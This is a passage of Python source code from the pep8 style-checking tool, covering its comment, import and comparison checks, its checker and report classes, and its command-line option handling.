Okay: x = x + 1 # Increment x Okay: x = x + 1 # Increment x Okay: # Block comment E261: x = x + 1 # Increment x E262: x = x + 1 #Increment x E262: x = x + 1 # Increment x E265: #Block comment E266: ### Block comment """ prev_end = (0, 0) for token_type, text, start, end, line in tokens: if token_type == tokenize.COMMENT: inline_comment = line[:start[1]].strip() if inline_comment: if prev_end[0] == start[0] and start[1] < prev_end[1] + 2: yield (prev_end, "E261 at least two spaces before inline comment") symbol, sp, comment = text.partition(' ') bad_prefix = symbol not in '#:' and (symbol.lstrip('#')[:1] or '#') if inline_comment: if bad_prefix or comment[:1] in WHITESPACE: yield start, "E262 inline comment should start with '# '" elif bad_prefix and (bad_prefix != '!' or start[0] > 1): if bad_prefix != '#': yield start, "E265 block comment should start with '# '" elif comment: yield start, "E266 too many leading '#' for block comment" elif token_type != tokenize.NL: prev_end = end def imports_on_separate_lines(logical_line): r"""Imports should usually be on separate lines. Okay: import os\nimport sys E401: import sys, os Okay: from subprocess import Popen, PIPE Okay: from myclas import MyClass Okay: from foo.bar.yourclass import YourClass Okay: import myclass Okay: import foo.bar.yourclass """ line = logical_line if line.startswith('import '): found = line.find(',') if -1 < found and ';' not in line[:found]: yield found, "E401 multiple imports on one line" def module_imports_on_top_of_file( logical_line, indent_level, checker_state, noqa): r"""Imports are always put at the top of the file, just after any module comments and docstrings, and before module globals and constants. Okay: import os Okay: # this is a comment\nimport os Okay: '''this is a module docstring'''\nimport os Okay: r'''this is a module docstring'''\nimport os Okay: try:\n import x\nexcept:\n pass\nelse:\n pass\nimport y Okay: try:\n import x\nexcept:\n pass\nfinally:\n pass\nimport y E402: a=1\nimport os E402: 'One string'\n"Two string"\nimport os E402: a=1\nfrom sys import x Okay: if x:\n import os """ def is_string_literal(line): if line[0] in 'uUbB': line = line[1:] if line and line[0] in 'rR': line = line[1:] return line and (line[0] == '"' or line[0] == "'") allowed_try_keywords = ('try', 'except', 'else', 'finally') if indent_level: # Allow imports in conditional statements or functions return if not logical_line: # Allow empty lines or comments return if noqa: return line = logical_line if line.startswith('import ') or line.startswith('from '): if checker_state.get('seen_non_imports', False): yield 0, "E402 module level import not at top of file" elif any(line.startswith(kw) for kw in allowed_try_keywords): # Allow try, except, else, finally keywords intermixed with imports in # order to support conditional importing return elif is_string_literal(line): # The first literal is a docstring, allow it. Otherwise, report error. if checker_state.get('seen_docstring', False): checker_state['seen_non_imports'] = True else: checker_state['seen_docstring'] = True else: checker_state['seen_non_imports'] = True def compound_statements(logical_line): r"""Compound statements (on the same line) are generally discouraged. While sometimes it's okay to put an if/for/while with a small body on the same line, never do this for multi-clause statements. Also avoid folding such long lines! Always use a def statement instead of an assignment statement that binds a lambda expression directly to a name. Okay: if foo == 'blah':\n do_blah_thing() Okay: do_one() Okay: do_two() Okay: do_three() E701: if foo == 'blah': do_blah_thing() E701: for x in lst: total += x E701: while t < 10: t = delay() E701: if foo == 'blah': do_blah_thing() E701: else: do_non_blah_thing() E701: try: something() E701: finally: cleanup() E701: if foo == 'blah': one(); two(); three() E702: do_one(); do_two(); do_three() E703: do_four(); # useless semicolon E704: def f(x): return 2*x E731: f = lambda x: 2*x """ line = logical_line last_char = len(line) - 1 found = line.find(':') while -1 < found < last_char: before = line[:found] if ((before.count('{') <= before.count('}') and # {'a': 1} (dict) before.count('[') <= before.count(']') and # [1:2] (slice) before.count('(') <= before.count(')'))): # (annotation) lambda_kw = LAMBDA_REGEX.search(before) if lambda_kw: before = line[:lambda_kw.start()].rstrip() if before[-1:] == '=' and isidentifier(before[:-1].strip()): yield 0, ("E731 do not assign a lambda expression, use a " "def") break if before.startswith('def '): yield 0, "E704 multiple statements on one line (def)" else: yield found, "E701 multiple statements on one line (colon)" found = line.find(':', found + 1) found = line.find(';') while -1 < found: if found < last_char: yield found, "E702 multiple statements on one line (semicolon)" else: yield found, "E703 statement ends with a semicolon" found = line.find(';', found + 1) def explicit_line_join(logical_line, tokens): r"""Avoid explicit line join between brackets. The preferred way of wrapping long lines is by using Python's implied line continuation inside parentheses, brackets and braces. Long lines can be broken over multiple lines by wrapping expressions in parentheses. These should be used in preference to using a backslash for line continuation. E502: aaa = [123, \\n 123] E502: aaa = ("bbb " \\n "ccc") Okay: aaa = [123,\n 123] Okay: aaa = ("bbb "\n "ccc") Okay: aaa = "bbb " \\n "ccc" """ prev_start = prev_end = parens = 0 for token_type, text, start, end, line in tokens: if start[0] != prev_start and parens and backslash: yield backslash, "E502 the backslash is redundant between brackets" if end[0] != prev_end: if line.rstrip('\r\n').endswith('\\'): backslash = (end[0], len(line.splitlines()[-1]) - 1) else: backslash = None prev_start = prev_end = end[0] else: prev_start = start[0] if token_type == tokenize.OP: if text in '([{': parens += 1 elif text in ')]}': parens -= 1 def comparison_to_singleton(logical_line, noqa): r"""Comparison to singletons should use "is" or "is not". Comparisons to singletons like None should always be done with "is" or "is not", never the equality operators. Okay: if arg is not None: E711: if arg != None: E711: if None == arg: E712: if arg == True: E712: if False == arg: Also, beware of writing if x when you really mean if x is not None -- e.g. when testing whether a variable or argument that defaults to None was set to some other value. The other value might have a type (such as a container) that could be false in a boolean context! """ match = not noqa and COMPARE_SINGLETON_REGEX.search(logical_line) if match: singleton = match.group(1) or match.group(3) same = (match.group(2) == '==') msg = "'if cond is %s:'" % (('' if same else 'not ') + singleton) if singleton in ('None',): code = 'E711' else: code = 'E712' nonzero = ((singleton == 'True' and same) or (singleton == 'False' and not same)) msg += " or 'if %scond:'" % ('' if nonzero else 'not ') yield match.start(2), ("%s comparison to %s should be %s" % (code, singleton, msg)) def comparison_negative(logical_line): r"""Negative comparison should be done using "not in" and "is not". Okay: if x not in y:\n pass Okay: assert (X in Y or X is Z) Okay: if not (X in Y):\n pass Okay: zz = x is not y E713: Z = not X in Y E713: if not X.B in Y:\n pass E714: if not X is Y:\n pass E714: Z = not X.B is Y """ match = COMPARE_NEGATIVE_REGEX.search(logical_line) if match: pos = match.start(1) if match.group(2) == 'in': yield pos, "E713 test for membership should be 'not in'" else: yield pos, "E714 test for object identity should be 'is not'" def comparison_type(logical_line): r"""Object type comparisons should always use isinstance(). Do not compare types directly. Okay: if isinstance(obj, int): E721: if type(obj) is type(1): When checking if an object is a string, keep in mind that it might be a unicode string too! In Python 2.3, str and unicode have a common base class, basestring, so you can do: Okay: if isinstance(obj, basestring): Okay: if type(a1) is type(b1): """ match = COMPARE_TYPE_REGEX.search(logical_line) if match: inst = match.group(1) if inst and isidentifier(inst) and inst not in SINGLETONS: return # Allow comparison for types which are not obvious yield match.start(), "E721 do not compare types, use 'isinstance()'" def python_3000_has_key(logical_line, noqa): r"""The {}.has_key() method is removed in Python 3: use the 'in' operator. Okay: if "alph" in d:\n print d["alph"] W601: assert d.has_key('alph') """ pos = logical_line.find('.has_key(') if pos > -1 and not noqa: yield pos, "W601 .has_key() is deprecated, use 'in'" def python_3000_raise_comma(logical_line): r"""When raising an exception, use "raise ValueError('message')". The older form is removed in Python 3. Okay: raise DummyError("Message") W602: raise DummyError, "Message" """ match = RAISE_COMMA_REGEX.match(logical_line) if match and not RERAISE_COMMA_REGEX.match(logical_line): yield match.end() - 1, "W602 deprecated form of raising exception" def python_3000_not_equal(logical_line): r"""New code should always use != instead of <>. The older syntax is removed in Python 3. Okay: if a != 'no': W603: if a <> 'no': """ pos = logical_line.find('<>') if pos > -1: yield pos, "W603 '<>' is deprecated, use '!='" def python_3000_backticks(logical_line): r"""Backticks are removed in Python 3: use repr() instead. Okay: val = repr(1 + 2) W604: val = `1 + 2` """ pos = logical_line.find('`') if pos > -1: yield pos, "W604 backticks are deprecated, use 'repr()'" ############################################################################## # Helper functions ############################################################################## if '' == ''.encode(): # Python 2: implicit encoding. def readlines(filename): """Read the source code.""" with open(filename, 'rU') as f: return f.readlines() isidentifier = re.compile(r'[a-zA-Z_]\w*$').match stdin_get_value = sys.stdin.read else: # Python 3 def readlines(filename): """Read the source code.""" try: with open(filename, 'rb') as f: (coding, lines) = tokenize.detect_encoding(f.readline) f = TextIOWrapper(f, coding, line_buffering=True) return [l.decode(coding) for l in lines] + f.readlines() except (LookupError, SyntaxError, UnicodeError): # Fall back if file encoding is improperly declared with open(filename, encoding='latin-1') as f: return f.readlines() isidentifier = str.isidentifier def stdin_get_value(): return TextIOWrapper(sys.stdin.buffer, errors='ignore').read() noqa = re.compile(r'# no(?:qa|pep8)\b', re.I).search def expand_indent(line): r"""Return the amount of indentation. Tabs are expanded to the next multiple of 8. >>> expand_indent(' ') 4 >>> expand_indent('\t') 8 >>> expand_indent(' \t') 8 >>> expand_indent(' \t') 16 """ if '\t' not in line: return len(line) - len(line.lstrip()) result = 0 for char in line: if char == '\t': result = result // 8 * 8 + 8 elif char == ' ': result += 1 else: break return result def mute_string(text): """Replace contents with 'xxx' to prevent syntax matching. >>> mute_string('"abc"') '"xxx"' >>> mute_string("'''abc'''") "'''xxx'''" >>> mute_string("r'abc'") "r'xxx'" """ # String modifiers (e.g. u or r) start = text.index(text[-1]) + 1 end = len(text) - 1 # Triple quotes if text[-3:] in ('"""', "'''"): start += 2 end -= 2 return text[:start] + 'x' * (end - start) + text[end:] def parse_udiff(diff, patterns=None, parent='.'): """Return a dictionary of matching lines.""" # For each file of the diff, the entry key is the filename, # and the value is a set of row numbers to consider. rv = {} path = nrows = None for line in diff.splitlines(): if nrows: if line[:1] != '-': nrows -= 1 continue if line[:3] == '@@ ': hunk_match = HUNK_REGEX.match(line) (row, nrows) = [int(g or '1') for g in hunk_match.groups()] rv[path].update(range(row, row + nrows)) elif line[:3] == '+++': path = line[4:].split('\t', 1)[0] if path[:2] == 'b/': path = path[2:] rv[path] = set() return dict([(os.path.join(parent, path), rows) for (path, rows) in rv.items() if rows and filename_match(path, patterns)]) def normalize_paths(value, parent=os.curdir): """Parse a comma-separated list of paths. Return a list of absolute paths. """ if not value: return [] if isinstance(value, list): return value paths = [] for path in value.split(','): path = path.strip() if '/' in path: path = os.path.abspath(os.path.join(parent, path)) paths.append(path.rstrip('/')) return paths def filename_match(filename, patterns, default=True): """Check if patterns contains a pattern that matches filename. If patterns is unspecified, this always returns True. """ if not patterns: return default return any(fnmatch(filename, pattern) for pattern in patterns) def _is_eol_token(token): return token[0] in NEWLINE or token[4][token[3][1]:].lstrip() == '\\\n' if COMMENT_WITH_NL: def _is_eol_token(token, _eol_token=_is_eol_token): return _eol_token(token) or (token[0] == tokenize.COMMENT and token[1] == token[4]) ############################################################################## # Framework to run all checks ############################################################################## _checks = {'physical_line': {}, 'logical_line': {}, 'tree': {}} def register_check(check, codes=None): """Register a new check object.""" def _add_check(check, kind, codes, args): if check in _checks[kind]: _checks[kind][check][0].extend(codes or []) else: _checks[kind][check] = (codes or [''], args) if inspect.isfunction(check): args = inspect.getargspec(check)[0] if args and args[0] in ('physical_line', 'logical_line'): if codes is None: codes = ERRORCODE_REGEX.findall(check.__doc__ or '') _add_check(check, args[0], codes, args) elif inspect.isclass(check): if inspect.getargspec(check.__init__)[0][:2] == ['self', 'tree']: _add_check(check, 'tree', codes, None) def init_checks_registry(): """Register all globally visible functions. The first argument name is either 'physical_line' or 'logical_line'. """ mod = inspect.getmodule(register_check) for (name, function) in inspect.getmembers(mod, inspect.isfunction): register_check(function) init_checks_registry() class Checker(object): """Load a Python source file, tokenize it, check coding style.""" def __init__(self, filename=None, lines=None, options=None, report=None, **kwargs): if options is None: options = StyleGuide(kwargs).options else: assert not kwargs self._io_error = None self._physical_checks = options.physical_checks self._logical_checks = options.logical_checks self._ast_checks = options.ast_checks self.max_line_length = options.max_line_length self.multiline = False # in a multiline string? self.hang_closing = options.hang_closing self.verbose = options.verbose self.filename = filename # Dictionary where a checker can store its custom state. self._checker_states = {} if filename is None: self.filename = 'stdin' self.lines = lines or [] elif filename == '-': self.filename = 'stdin' self.lines = stdin_get_value().splitlines(True) elif lines is None: try: self.lines = readlines(filename) except IOError: (exc_type, exc) = sys.exc_info()[:2] self._io_error = '%s: %s' % (exc_type.__name__, exc) self.lines = [] else: self.lines = lines if self.lines: ord0 = ord(self.lines[0][0]) if ord0 in (0xef, 0xfeff): # Strip the UTF-8 BOM if ord0 == 0xfeff: self.lines[0] = self.lines[0][1:] elif self.lines[0][:3] == '\xef\xbb\xbf': self.lines[0] = self.lines[0][3:] self.report = report or options.report self.report_error = self.report.error def report_invalid_syntax(self): """Check if the syntax is valid.""" (exc_type, exc) = sys.exc_info()[:2] if len(exc.args) > 1: offset = exc.args[1] if len(offset) > 2: offset = offset[1:3] else: offset = (1, 0) self.report_error(offset[0], offset[1] or 0, 'E901 %s: %s' % (exc_type.__name__, exc.args[0]), self.report_invalid_syntax) def readline(self): """Get the next line from the input buffer.""" if self.line_number >= self.total_lines: return '' line = self.lines[self.line_number] self.line_number += 1 if self.indent_char is None and line[:1] in WHITESPACE: self.indent_char = line[0] return line def run_check(self, check, argument_names): """Run a check plugin.""" arguments = [] for name in argument_names: arguments.append(getattr(self, name)) return check(*arguments) def init_checker_state(self, name, argument_names): """ Prepares a custom state for the specific checker plugin.""" if 'checker_state' in argument_names: self.checker_state = self._checker_states.setdefault(name, {}) def check_physical(self, line): """Run all physical checks on a raw input line.""" self.physical_line = line for name, check, argument_names in self._physical_checks: self.init_checker_state(name, argument_names) result = self.run_check(check, argument_names) if result is not None: (offset, text) = result self.report_error(self.line_number, offset, text, check) if text[:4] == 'E101': self.indent_char = line[0] def build_tokens_line(self): """Build a logical line from tokens.""" logical = [] comments = [] length = 0 prev_row = prev_col = mapping = None for token_type, text, start, end, line in self.tokens: if token_type in SKIP_TOKENS: continue if not mapping: mapping = [(0, start)] if token_type == tokenize.COMMENT: comments.append(text) continue if token_type == tokenize.STRING: text = mute_string(text) if prev_row: (start_row, start_col) = start if prev_row != start_row: # different row prev_text = self.lines[prev_row - 1][prev_col - 1] if prev_text == ',' or (prev_text not in '{[(' and text not in '}])'): text = ' ' + text elif prev_col != start_col: # different column text = line[prev_col:start_col] + text logical.append(text) length += len(text) mapping.append((length, end)) (prev_row, prev_col) = end self.logical_line = ''.join(logical) self.noqa = comments and noqa(''.join(comments)) return mapping def check_logical(self): """Build a line from tokens and run all logical checks on it.""" self.report.increment_logical_line() mapping = self.build_tokens_line() if not mapping: return (start_row, start_col) = mapping[0][1] start_line = self.lines[start_row - 1] self.indent_level = expand_indent(start_line[:start_col]) if self.blank_before < self.blank_lines: self.blank_before = self.blank_lines if self.verbose >= 2: print(self.logical_line[:80].rstrip()) for name, check, argument_names in self._logical_checks: if self.verbose >= 4: print(' ' + name) self.init_checker_state(name, argument_names) for offset, text in self.run_check(check, argument_names) or (): if not isinstance(offset, tuple): for token_offset, pos in mapping: if offset <= token_offset: break offset = (pos[0], pos[1] + offset - token_offset) self.report_error(offset[0], offset[1], text, check) if self.logical_line: self.previous_indent_level = self.indent_level self.previous_logical = self.logical_line self.blank_lines = 0 self.tokens = [] def check_ast(self): """Build the file's AST and run all AST checks.""" try: tree = compile(''.join(self.lines), '', 'exec', PyCF_ONLY_AST) except (SyntaxError, TypeError): return self.report_invalid_syntax() for name, cls, __ in self._ast_checks: checker = cls(tree, self.filename) for lineno, offset, text, check in checker.run(): if not self.lines or not noqa(self.lines[lineno - 1]): self.report_error(lineno, offset, text, check) def generate_tokens(self): """Tokenize the file, run physical line checks and yield tokens.""" if self._io_error: self.report_error(1, 0, 'E902 %s' % self._io_error, readlines) tokengen = tokenize.generate_tokens(self.readline) try: for token in tokengen: if token[2][0] > self.total_lines: return self.maybe_check_physical(token) yield token except (SyntaxError, tokenize.TokenError): self.report_invalid_syntax() def maybe_check_physical(self, token): """If appropriate (based on token), check current physical line(s).""" # Called after every token, but act only on end of line. if _is_eol_token(token): # Obviously, a newline token ends a single physical line. self.check_physical(token[4]) elif token[0] == tokenize.STRING and '\n' in token[1]: # Less obviously, a string that contains newlines is a # multiline string, either triple-quoted or with internal # newlines backslash-escaped. Check every physical line in the # string *except* for the last one: its newline is outside of # the multiline string, so we consider it a regular physical # line, and will check it like any other physical line. # # Subtleties: # - we don't *completely* ignore the last line; if it contains # the magical "# noqa" comment, we disable all physical # checks for the entire multiline string # - have to wind self.line_number back because initially it # points to the last line of the string, and we want # check_physical() to give accurate feedback if noqa(token[4]): return self.multiline = True self.line_number = token[2][0] for line in token[1].split('\n')[:-1]: self.check_physical(line + '\n') self.line_number += 1 self.multiline = False def check_all(self, expected=None, line_offset=0): """Run all checks on the input file.""" self.report.init_file(self.filename, self.lines, expected, line_offset) self.total_lines = len(self.lines) if self._ast_checks: self.check_ast() self.line_number = 0 self.indent_char = None self.indent_level = self.previous_indent_level = 0 self.previous_logical = '' self.tokens = [] self.blank_lines = self.blank_before = 0 parens = 0 for token in self.generate_tokens(): self.tokens.append(token) token_type, text = token[0:2] if self.verbose >= 3: if token[2][0] == token[3][0]: pos = '[%s:%s]' % (token[2][1] or '', token[3][1]) else: pos = 'l.%s' % token[3][0] print('l.%s\t%s\t%s\t%r' % (token[2][0], pos, tokenize.tok_name[token[0]], text)) if token_type == tokenize.OP: if text in '([{': parens += 1 elif text in '}])': parens -= 1 elif not parens: if token_type in NEWLINE: if token_type == tokenize.NEWLINE: self.check_logical() self.blank_before = 0 elif len(self.tokens) == 1: # The physical line contains only this token. self.blank_lines += 1 del self.tokens[0] else: self.check_logical() elif COMMENT_WITH_NL and token_type == tokenize.COMMENT: if len(self.tokens) == 1: # The comment also ends a physical line token = list(token) token[1] = text.rstrip('\r\n') token[3] = (token[2][0], token[2][1] + len(token[1])) self.tokens = [tuple(token)] self.check_logical() if self.tokens: self.check_physical(self.lines[-1]) self.check_logical() return self.report.get_file_results() class BaseReport(object): """Collect the results of the checks.""" print_filename = False def __init__(self, options): self._benchmark_keys = options.benchmark_keys self._ignore_code = options.ignore_code # Results self.elapsed = 0 self.total_errors = 0 self.counters = dict.fromkeys(self._benchmark_keys, 0) self.messages = {} def start(self): """Start the timer.""" self._start_time = time.time() def stop(self): """Stop the timer.""" self.elapsed = time.time() - self._start_time def init_file(self, filename, lines, expected, line_offset): """Signal a new file.""" self.filename = filename self.lines = lines self.expected = expected or () self.line_offset = line_offset self.file_errors = 0 self.counters['files'] += 1 self.counters['physical lines'] += len(lines) def increment_logical_line(self): """Signal a new logical line.""" self.counters['logical lines'] += 1 def error(self, line_number, offset, text, check): """Report an error, according to options.""" code = text[:4] if self._ignore_code(code): return if code in self.counters: self.counters[code] += 1 else: self.counters[code] = 1 self.messages[code] = text[5:] # Don't care about expected errors or warnings if code in self.expected: return if self.print_filename and not self.file_errors: print(self.filename) self.file_errors += 1 self.total_errors += 1 return code def get_file_results(self): """Return the count of errors and warnings for this file.""" return self.file_errors def get_count(self, prefix=''): """Return the total count of errors and warnings.""" return sum([self.counters[key] for key in self.messages if key.startswith(prefix)]) def get_statistics(self, prefix=''): """Get statistics for message codes that start with the prefix. prefix='' matches all errors and warnings prefix='E' matches all errors prefix='W' matches all warnings prefix='E4' matches all errors that have to do with imports """ return ['%-7s %s %s' % (self.counters[key], key, self.messages[key]) for key in sorted(self.messages) if key.startswith(prefix)] def print_statistics(self, prefix=''): """Print overall statistics (number of errors and warnings).""" for line in self.get_statistics(prefix): print(line) def print_benchmark(self): """Print benchmark numbers.""" print('%-7.2f %s' % (self.elapsed, 'seconds elapsed')) if self.elapsed: for key in self._benchmark_keys: print('%-7d %s per second (%d total)' % (self.counters[key] / self.elapsed, key, self.counters[key])) class FileReport(BaseReport): """Collect the results of the checks and print only the filenames.""" print_filename = True class StandardReport(BaseReport): """Collect and print the results of the checks.""" def __init__(self, options): super(StandardReport, self).__init__(options) self._fmt = REPORT_FORMAT.get(options.format.lower(), options.format) self._repeat = options.repeat self._show_source = options.show_source self._show_pep8 = options.show_pep8 def init_file(self, filename, lines, expected, line_offset): """Signal a new file.""" self._deferred_print = [] return super(StandardReport, self).init_file( filename, lines, expected, line_offset) def error(self, line_number, offset, text, check): """Report an error, according to options.""" code = super(StandardReport, self).error(line_number, offset, text, check) if code and (self.counters[code] == 1 or self._repeat): self._deferred_print.append( (line_number, offset, code, text[5:], check.__doc__)) return code def get_file_results(self): """Print the result and return the overall count for this file.""" self._deferred_print.sort() for line_number, offset, code, text, doc in self._deferred_print: print(self._fmt % { 'path': self.filename, 'row': self.line_offset + line_number, 'col': offset + 1, 'code': code, 'text': text, }) if self._show_source: if line_number > len(self.lines): line = '' else: line = self.lines[line_number - 1] print(line.rstrip()) print(re.sub(r'\S', ' ', line[:offset]) + '^') if self._show_pep8 and doc: print(' ' + doc.strip()) return self.file_errors class DiffReport(StandardReport): """Collect and print the results for the changed lines only.""" def __init__(self, options): super(DiffReport, self).__init__(options) self._selected = options.selected_lines def error(self, line_number, offset, text, check): if line_number not in self._selected[self.filename]: return return super(DiffReport, self).error(line_number, offset, text, check) class StyleGuide(object): """Initialize a PEP-8 instance with few options.""" def __init__(self, *args, **kwargs): # build options from the command line self.checker_class = kwargs.pop('checker_class', Checker) parse_argv = kwargs.pop('parse_argv', False) config_file = kwargs.pop('config_file', None) parser = kwargs.pop('parser', None) # build options from dict options_dict = dict(*args, **kwargs) arglist = None if parse_argv else options_dict.get('paths', None) options, self.paths = process_options( arglist, parse_argv, config_file, parser) if options_dict: options.__dict__.update(options_dict) if 'paths' in options_dict: self.paths = options_dict['paths'] self.runner = self.input_file self.options = options if not options.reporter: options.reporter = BaseReport if options.quiet else StandardReport options.select = tuple(options.select or ()) if not (options.select or options.ignore or options.testsuite or options.doctest) and DEFAULT_IGNORE: # The default choice: ignore controversial checks options.ignore = tuple(DEFAULT_IGNORE.split(',')) else: # Ignore all checks which are not explicitly selected options.ignore = ('',) if options.select else tuple(options.ignore) options.benchmark_keys = BENCHMARK_KEYS[:] options.ignore_code = self.ignore_code options.physical_checks = self.get_checks('physical_line') options.logical_checks = self.get_checks('logical_line') options.ast_checks = self.get_checks('tree') self.init_report() def init_report(self, reporter=None): """Initialize the report instance.""" self.options.report = (reporter or self.options.reporter)(self.options) return self.options.report def check_files(self, paths=None): """Run all checks on the paths.""" if paths is None: paths = self.paths report = self.options.report runner = self.runner report.start() try: for path in paths: if os.path.isdir(path): self.input_dir(path) elif not self.excluded(path): runner(path) except KeyboardInterrupt: print('... stopped') report.stop() return report def input_file(self, filename, lines=None, expected=None, line_offset=0): """Run all checks on a Python source file.""" if self.options.verbose: print('checking %s' % filename) fchecker = self.checker_class( filename, lines=lines, options=self.options) return fchecker.check_all(expected=expected, line_offset=line_offset) def input_dir(self, dirname): """Check all files in this directory and all subdirectories.""" dirname = dirname.rstrip('/') if self.excluded(dirname): return 0 counters = self.options.report.counters verbose = self.options.verbose filepatterns = self.options.filename runner = self.runner for root, dirs, files in os.walk(dirname): if verbose: print('directory ' + root) counters['directories'] += 1 for subdir in sorted(dirs): if self.excluded(subdir, root): dirs.remove(subdir) for filename in sorted(files): # contain a pattern that matches? if ((filename_match(filename, filepatterns) and not self.excluded(filename, root))): runner(os.path.join(root, filename)) def excluded(self, filename, parent=None): """Check if the file should be excluded. Check if 'options.exclude' contains a pattern that matches filename. """ if not self.options.exclude: return False basename = os.path.basename(filename) if filename_match(basename, self.options.exclude): return True if parent: filename = os.path.join(parent, filename) filename = os.path.abspath(filename) return filename_match(filename, self.options.exclude) def ignore_code(self, code): """Check if the error code should be ignored. If 'options.select' contains a prefix of the error code, return False. Else, if 'options.ignore' contains a prefix of the error code, return True. """ if len(code) < 4 and any(s.startswith(code) for s in self.options.select): return False return (code.startswith(self.options.ignore) and not code.startswith(self.options.select)) def get_checks(self, argument_name): """Get all the checks for this category. Find all globally visible functions where the first argument name starts with argument_name and which contain selected tests. """ checks = [] for check, attrs in _checks[argument_name].items(): (codes, args) = attrs if any(not (code and self.ignore_code(code)) for code in codes): checks.append((check.__name__, check, args)) return sorted(checks) def get_parser(prog='pep8', version=__version__): parser = OptionParser(prog=prog, version=version, usage="%prog [options] input ...") parser.config_options = [ 'exclude', 'filename', 'select', 'ignore', 'max-line-length', 'hang-closing', 'count', 'format', 'quiet', 'show-pep8', 'show-source', 'statistics', 'verbose'] parser.add_option('-v', '--verbose', default=0, action='count', help="print status messages, or debug with -vv") parser.add_option('-q', '--quiet', default=0, action='count', help="report only file names, or nothing with -qq") parser.add_option('-r', '--repeat', default=True, action='store_true', help="(obsolete) show all occurrences of the same error") parser.add_option('--first', action='store_false', dest='repeat', help="show first occurrence of each error") parser.add_option('--exclude', metavar='patterns', default=DEFAULT_EXCLUDE, help="exclude files or directories which match these " "comma separated patterns (default: %default)") parser.add_option('--filename', metavar='patterns', default='*.py', help="when parsing directories, only check filenames " "matching these comma separated patterns " "(default: %default)") parser.add_option('--select', metavar='errors', default='', help="select errors and warnings (e.g. E,W6)") parser.add_option('--ignore', metavar='errors', default='', help="skip errors and warnings (e.g. E4,W) " "(default: %s)" % DEFAULT_IGNORE) parser.add_option('--show-source', action='store_true', help="show source code for each error") parser.add_option('--show-pep8', action='store_true', help="show text of PEP 8 for each error " "(implies --first)") parser.add_option('--statistics', action='store_true', help="count errors and warnings") parser.add_option('--count', action='store_true', help="print total number of errors and warnings " "to standard error and set exit code to 1 if " "total is not null") parser.add_option('--max-line-length', type='int', metavar='n', default=MAX_LINE_LENGTH, help="set maximum allowed line length " "(default: %default)") parser.add_option('--hang-closing', action='store_true', help="hang closing bracket instead of matching " "indentation of opening bracket's line") parser.add_option('--format', metavar='format', default='default', help="set the error format [default|pylint|<custom>]") parser.add_option('--diff', action='store_true', help="report only lines changed according to the " "unified diff received on STDIN") group = parser.add_option_group("Testing Options") if os.path.exists(TESTSUITE_PATH): group.add_option('--testsuite', metavar='dir', help="run regression tests from dir") group.add_option('--doctest', action='store_true', help="run doctest on myself") group.add_option('--benchmark', action='store_true', help="measure processing speed") return parser def read_config(options, args, arglist, parser): """Read both user configuration and local configuration.""" config = RawConfigParser() user_conf = options.config if user_conf and os.path.isfile(user_conf): if options.verbose: print('user configuration: %s' % user_conf) config.read(user_conf) local_dir = os.curdir parent = tail = args and os.path.abspath(os.path.commonprefix(args)) while tail: if config.read([os.path.join(parent, fn) for fn in PROJECT_CONFIG]): local_dir = parent if options.verbose: print('local configuration: in %s' % parent) break (parent, tail) = os.path.split(parent) pep8_section = parser.prog if config.has_section(pep8_section): option_list = dict([(o.dest, o.type or o.action) for o in parser.option_list]) # First, read the default values (new_options, __) = parser.parse_args([]) # Second, parse the configuration for opt in config.options(pep8_section): if opt.replace('_', '-') not in parser.config_options: print(" unknown option '%s' ignored" % opt) continue if options.verbose > 1: print(" %s = %s" % (opt, config.get(pep8_section, opt))) normalized_opt = opt.replace('-', '_') opt_type = option_list[normalized_opt] if opt_type in ('int', 'count'): value = config.getint(pep8_section, opt) elif opt_type == 'string': value = config.get(pep8_section, opt) if normalized_opt == 'exclude': value = normalize_paths(value, local_dir) else: assert opt_type in ('store_true', 'store_false') value = config.getboolean(pep8_section, opt) setattr(new_options, normalized_opt, value) # Third, overwrite with the command-line options (options, __) = parser.parse_args(arglist, values=new_options) options.doctest = options.testsuite = False return options def process_options(arglist=None, parse_argv=False, config_file=None, parser=None): """Process options passed either via arglist or via command line args.""" if not parser: parser = get_parser() if not parser.has_option('--config'): if config_file is True: config_file = DEFAULT_CONFIG group = parser.add_option_group("Configuration", description=( "The project options are read from the [%s] section of the " "tox.ini file or the setup.cfg file located in any parent folder " "of the path(s) being processed. Allowed options are: %s." % (parser.prog, ', '.join(parser.config_options)))) group.add_option('--config', metavar='path', default=config_file, help="user config file location (default: %default)") # Don't read the command line if the module is used as a library. if not arglist and not parse_argv: arglist = [] # If parse_argv is True and arglist is None, arguments are # parsed from the command line (sys.argv) (options, args) = parser.parse_args(arglist) options.reporter = None if options.ensure_value('testsuite', False): args.append(options.testsuite) elif not options.ensure_value('doctest', False): if parse_argv and not args: if options.diff or any(os.path.exists(name) for name in PROJECT_CONFIG): args = ['.'] else: parser.error('input not specified') options = read_config(options, args, arglist, parser) options.reporter = parse_argv and options.quiet == 1 and FileReport options.filename = options.filename and options.filename.split(',') options.exclude = normalize_paths(options.exclude) options.select = options.select and options.select.split(',') options.ignore = options.ignore and options.ignore.split(',') if options.diff: options.reporter = DiffReport stdin = stdin_get_value() options.selected_lines = parse_udiff(stdin, options.filename, args[0]) args = sorted(options.selected_lines) return options, args def _main(): """Parse options and run checks on Python source.""" import signal # Handle "Broken pipe" gracefully try: signal.signal(signal.SIGPIPE, lambda signum, frame: sys.exit(1)) except AttributeError: pass # not supported on Windows pep8style = StyleGuide(parse_argv=True, config_file=True) options = pep8style.options if options.doctest or options.testsuite: from testsuite.support import run_tests report = run_tests(pep8style) else: report = pep8style.check_files() if options.statistics: report.print_statistics() if options.benchmark: report.print_benchmark() if options.testsuite and not options.quiet: report.print_results() if report.total_errors: if options.count: sys.stderr.write(str(report.total_errors) + '\n') sys.exit(1) if __name__ == '__main__': _main()
gpl-3.0
